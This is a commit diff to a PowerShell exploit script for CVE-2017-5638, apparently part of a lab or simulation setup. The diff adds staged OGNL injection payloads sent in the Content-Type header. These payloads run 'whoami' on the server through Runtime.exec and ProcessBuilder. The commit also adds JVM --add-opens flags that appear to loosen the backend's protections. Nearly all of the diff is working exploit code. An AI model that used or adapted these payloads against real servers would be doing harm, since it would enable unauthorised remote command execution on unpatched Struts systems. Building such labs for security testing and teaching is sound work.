feat(script): expand diagnostic levels and enhance output

Author: AIPEAC

simulation/attack-script/exploit_cve_2017_5638.ps1

@@ -157,22 +157,28 @@ $writeSuffix =
 if ($DiagLevel -gt 0) {
     # -- DIAGNOSTIC MODE: incremental payloads to find exact failure step --
     $diagLabel = switch ($DiagLevel) {
-        1 { "sandbox bypass only (same as demo)"  }
-        2 { "call Runtime.getRuntime()"            }
-        3 { "exec process (echo HELLO)"            }
-        4 { "exec + waitFor (exit code)"           }
-        5 { "exec + waitFor + readAllBytes"        }
-        6 { "exec + waitFor + readAllBytes + new String" }
+        1 { "sandbox bypass only"                  }
+        2 { "Runtime.getRuntime() + freeMemory()"  }
+        3 { "new StringBuilder - test new for java.lang" }
+        4 { "new ProcessBuilder({'whoami'}) - NO start" }
+        5 { "PB.command() - verify PB internals"   }
+        6 { "PB.start() - the actual process creation" }
+        7 { "rt.exec('whoami') - separate var, not chained" }
+        8 { "getRuntime().exec('whoami') - chained form" }
+        9 { "new File('.').getAbsolutePath() - another java.io class" }
     }
     Write-Host "[STEP 2] DIAGNOSTIC level $DiagLevel - $diagLabel" -ForegroundColor Magenta
 
     $diagBody = switch ($DiagLevel) {
         1 { ".(#proof='DIAG1: sandbox_bypass=OK')" }
-        2 { ".(#rt=@java.lang.Runtime@getRuntime()).(#proof='DIAG2: Runtime=' + #rt.toString())" }
-        3 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#proof='DIAG3: exec_OK, process=' + #process.toString())" }
-        4 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#exitCode=#process.waitFor()).(#proof='DIAG4: exitCode=' + #exitCode)" }
-        5 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#process.waitFor()).(#data=#process.getInputStream().readAllBytes()).(#proof='DIAG5: readAllBytes.length=' + #data.length)" }
-        6 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#process.waitFor()).(#data=#process.getInputStream().readAllBytes()).(#out=new java.lang.String(#data,'UTF-8')).(#proof='DIAG6: output=[' + #out + ']')" }
+        2 { ".(#rt=@java.lang.Runtime@getRuntime()).(#mem=#rt.freeMemory()).(#proof='DIAG2: mem=' + #mem)" }
+        3 { ".(#sb=new java.lang.StringBuilder('test')).(#proof='DIAG3: StringBuilder=' + #sb.toString())" }
+        4 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#proof='DIAG4: PB=' + #p.toString())" }
+        5 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#cmd=#p.command()).(#proof='DIAG5: command=' + #cmd.toString())" }
+        6 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#proof='DIAG6: process=' + #process.toString())" }
+        7 { ".(#rt=@java.lang.Runtime@getRuntime()).(#process=#rt.exec('whoami')).(#proof='DIAG7: process=' + #process.toString())" }
+        8 { ".(#process=@java.lang.Runtime@getRuntime().exec('whoami')).(#proof='DIAG8: process=' + #process.toString())" }
+        9 { ".(#f=new java.io.File('.')).(#proof='DIAG9: cwd=' + #f.getAbsolutePath())" }
     }
 
     $contentType = ".%{" + $bypassPrefix + $diagBody + "." + $writeSuffix + "}.multipart/form-data"

simulation/attack-script/run.ps1

@@ -23,7 +23,7 @@ While ($true) {
         'd' {
             Write-Host "`n=== DIAGNOSTIC: Running levels 1-6 ===" -ForegroundColor Magenta
             Write-Host "Each level adds one step. First failure reveals the problem.`n" -ForegroundColor Magenta
-            for ($lvl = 1; $lvl -le 6; $lvl++) {
+            for ($lvl = 1; $lvl -le 9; $lvl++) {
                 Write-Host "--- Diagnostic level $lvl ---" -ForegroundColor Magenta
                 .\exploit_cve_2017_5638.ps1 -DiagLevel $lvl
                 Write-Host ""

simulation/backend/.mvn/jvm.config

@@ -0,0 +1,3 @@
+--add-opens java.base/java.lang=ALL-UNNAMED
+--add-opens java.base/java.io=ALL-UNNAMED
+--add-opens java.base/java.util=ALL-UNNAMED